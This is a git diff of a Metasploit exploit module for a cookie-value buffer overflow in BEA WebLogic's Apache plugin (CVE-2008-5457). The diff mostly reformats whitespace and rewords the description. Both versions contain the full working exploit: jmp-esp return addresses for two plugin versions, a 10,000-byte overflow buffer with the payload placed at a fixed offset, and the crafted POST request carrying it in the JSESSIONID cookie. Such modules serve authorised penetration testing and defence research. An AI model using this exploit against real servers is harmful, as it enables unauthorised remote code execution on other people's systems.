diff --git a/modules/exploits/windows/http/bea_weblogic_jsessionid.rb b/modules/exploits/windows/http/bea_weblogic_jsessionid.rb index 2230511c58..30ec8b6017 100644 --- a/modules/exploits/windows/http/bea_weblogic_jsessionid.rb +++ b/modules/exploits/windows/http/bea_weblogic_jsessionid.rb @@ -16,18 +16,18 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'BEA Weblogic JSESSIONID cookie value overflow', 'Description' => %q{ - 0day in the JSESSION cookie value when clustering is configured. - }, + This module exploits a 0day in the JSESSION cookie value when clustering is configured. + }, 'Author' => 'pusscat', 'References' => [ [ 'CVE', '2008-5457' ], ], - 'DefaultOptions' => - { - 'EXITFUNC' => 'seh', - }, + 'DefaultOptions' => + { + 'EXITFUNC' => 'seh', + }, 'Privileged' => true, 'Platform' => 'win', 'Payload' => @@ -38,39 +38,37 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Targets' => - [ - [ 'Windows Apache 2.2 - weblogic module version 1.0.1136334', - { - 'Ret' => 0x1006c9b5, # jmp esp - } - ], - [ 'Windows Apache 2.2 - weblogic module version 1.0.1150354', - { - 'Ret' => 0x1006c9be, # jmp esp - } - ], - - + [ + [ 'Windows Apache 2.2 - weblogic module version 1.0.1136334', + { + 'Ret' => 0x1006c9b5, # jmp esp + } ], + [ 'Windows Apache 2.2 - weblogic module version 1.0.1150354', + { + 'Ret' => 0x1006c9be, # jmp esp + } + ], + ], 'DefaultTarget' => 1)) - register_options( [ Opt::RPORT(80) ], self.class ) + register_options( [ Opt::RPORT(80) ], self.class ) end def exploit - sploit = Rex::Text.rand_text_alphanumeric(10000, payload_badchars) - sploit[8181, 4] = [target.ret].pack('V') - sploit[8185, payload.encoded.length] = payload.encoded - - request = - "POST /index.jsp HTTP/1.1\r\nHost: localhost\r\nCookie: TAGLINE=IAMMCLOVIN; JSESSIONID=" + - sploit + - "\r\n\r\n" + sploit = Rex::Text.rand_text_alphanumeric(10000, payload_badchars) + sploit[8181, 4] = [target.ret].pack('V') + sploit[8185, payload.encoded.length] = payload.encoded - connect - sock.put(request); - handler + request = + "POST /index.jsp HTTP/1.1\r\nHost: localhost\r\nCookie: TAGLINE=IAMMCLOVIN; JSESSIONID=" + + sploit + + "\r\n\r\n" - disconnect + connect + sock.put(request); + handler + + disconnect end end